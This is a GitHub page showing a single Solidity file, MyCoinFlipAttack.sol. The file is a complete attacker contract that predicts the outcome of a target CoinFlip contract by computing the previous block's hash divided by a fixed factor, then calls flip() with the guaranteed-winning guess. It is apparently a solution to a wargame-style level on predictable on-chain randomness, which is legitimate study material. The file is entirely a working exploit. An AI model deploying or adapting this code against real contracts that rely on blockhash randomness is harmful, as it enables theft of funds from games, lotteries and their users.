-
Notifications
You must be signed in to change notification settings - Fork 0
/
MyCoinFlipAttack.sol
38 lines (29 loc) · 1.1 KB
/
MyCoinFlipAttack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
interface ICoinFlip {
function flip(bool _guess) external returns (bool res);
}
interface IAttack {
function attack() external;
}
contract MyCoinFlipAttack is IAttack {
ICoinFlip private _coinFlipInstance;
uint256 private _lastHash;
uint256 private constant _FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
event GuessAttempt(address indexed coinFlipContract, bool indexed side, bool indexed result);
error PleaseWaitNextBlock();
constructor(address coinFlipAddress) {
_coinFlipInstance = ICoinFlip(coinFlipAddress);
}
function attack() public override {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (_lastHash == blockValue) {
revert PleaseWaitNextBlock();
}
_lastHash = blockValue;
uint256 coinFlip = blockValue / _FACTOR;
bool side = coinFlip == 1 ? true : false;
bool result = _coinFlipInstance.flip(side);
emit GuessAttempt(address(_coinFlipInstance), side, result);
}
}